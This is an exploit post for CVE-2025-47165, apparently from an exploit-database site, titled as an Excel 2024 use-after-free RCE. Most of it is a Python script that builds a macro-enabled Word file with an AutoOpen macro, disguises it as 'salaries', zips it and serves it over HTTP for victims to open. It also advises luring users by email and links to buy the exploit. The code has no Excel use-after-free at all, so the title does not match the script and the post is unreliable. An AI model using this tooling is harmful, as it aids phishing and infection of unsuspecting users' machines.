Microsoft Excel 2024 Use after free – Remote Code Execution (RCE)

• CVE-2025-47165

Exploit Title: Microsoft Excel…

# Exploit Title: Microsoft Excel 2024 Use after free – Remote Code Execution (RCE)

# Author: nu11secur1ty

# Date: 06/24/2025

# Vendor: Microsoft

# Software: https://www.microsoft.com/en/microsoft-365/excel?market=af

# Reference:

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-47165

# CVE: CVE-2025-47165

# Versions: Microsoft Office LTSC 2024 , Microsoft Office LTSC 2021,

Microsoft 365 Apps for Enterprise

# Description:

The attacker can trick any user into opening and executing their code by

sending a malicious DOCM file via email or a streaming server. After the

execution of the victim, his machine can be infected or even worse than

ever; this could be the end of his Windows machine! WARNING: AMPOTATE THE

MACROS OPTIONS FROM YOUR OFFICE 365!!!

#!/usr/bin/python

import os

import sys

import pythoncom

from win32com.client import Dispatch

import http.server

import socketserver

import socket

import threading

import zipfile

PORT = 8000

DOCM_FILENAME = “salaries.docm”

ZIP_FILENAME = “salaries.zip”

DIRECTORY = “.”

def create_docm_with_macro(filename=DOCM_FILENAME):

pythoncom.CoInitialize()

word = Dispatch(“Word.Application”)

word.Visible = False

try:

doc = word.Documents.Add()

vb_project = doc.VBProject

vb_component = vb_project.VBComponents(“ThisDocument”)

macro_code = ”’

Sub AutoOpen()

//YOUR EXPLOIT HERE

// All OF YPU PLEASE WATCH THE DEMO VIDEO

// Best Regards to packetstorm.news and OFFSEC

End Sub

”’

vb_component.CodeModule.AddFromString(macro_code)

doc.SaveAs(os.path.abspath(filename), FileFormat=13)

print(f”[+] Macro-enabled Word document created: {filename}”)

except Exception as e:

print(f”[!] Error creating document: {e}”)

finally:

doc.Close(False)

word.Quit()

pythoncom.CoUninitialize()

def zip_docm(docm_path, zip_path):

with zipfile.ZipFile(zip_path, ‘w’, compression=zipfile.ZIP_DEFLATED)

as zipf:

zipf.write(docm_path, arcname=os.path.basename(docm_path))

print(f”[+] Created ZIP archive: {zip_path}”)

def get_local_ip():

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

try:

s.connect((“8.8.8.8”, 80))

ip = s.getsockname()[0]

except Exception:

ip = “127.0.0.1”

finally:

s.close()

return ip

class Handler(http.server.SimpleHTTPRequestHandler):

def __init__(self, *args, **kwargs):

super().__init__(*args, directory=DIRECTORY, **kwargs)

def run_server():

ip = get_local_ip()

print(f”[+] Starting HTTP server on http://{ip}:{PORT}”)

print(f”[+] Place your macro docm and zip files in this directory to

serve them.”)

print(f”[+] Access the ZIP file at: http://{ip}:{PORT}/{ZIP_FILENAME}”)

with socketserver.TCPServer((“”, PORT), Handler) as httpd:

print(“[+] Server running, press Ctrl+C to stop”)

httpd.serve_forever()

if __name__ == “__main__”:

if os.name != “nt”:

print(“[!] This script only runs on Windows with MS Word

installed.”)

sys.exit(1)

print(“[*] Creating the macro-enabled document…”)

create_docm_with_macro(DOCM_FILENAME)

print(“[*] Creating ZIP archive of the document…”)

zip_docm(DOCM_FILENAME, ZIP_FILENAME)

print(“[*] Starting HTTP server in background thread…”)

server_thread = threading.Thread(target=run_server, daemon=True)

server_thread.start()

try:

while True:

pass # Keep main thread alive

except KeyboardInterrupt:

print(“\n[!] Server stopped by user.”)

“`

# Reproduce:

[href](https://www.youtube.com/watch?v=CSb76-OG-Tg)

# Buy an exploit only:

[href](https://satoshidisk.com/pay/COiBVA)

# Time spent:

01:37:00

—

System Administrator – Infrastructure Engineer

Penetration Testing Engineer

Exploit developer at https://packetstormsecurity.com/

https://cve.mitre.org/index.html

https://cxsecurity.com/ and https://www.exploit-db.com/

0day Exploit DataBase https://0day.today/

home page: https://www.nu11secur1ty.com/

hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=

nu11secur1ty

—

System Administrator – Infrastructure Engineer

Penetration Testing Engineer

Exploit developer at https://packetstorm.news/

https://cve.mitre.org/index.html

https://cxsecurity.com/ and https://www.exploit-db.com/

0day Exploit DataBase https://0day.today/

home page: https://www.nu11secur1ty.com/

hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=

nu11secur1ty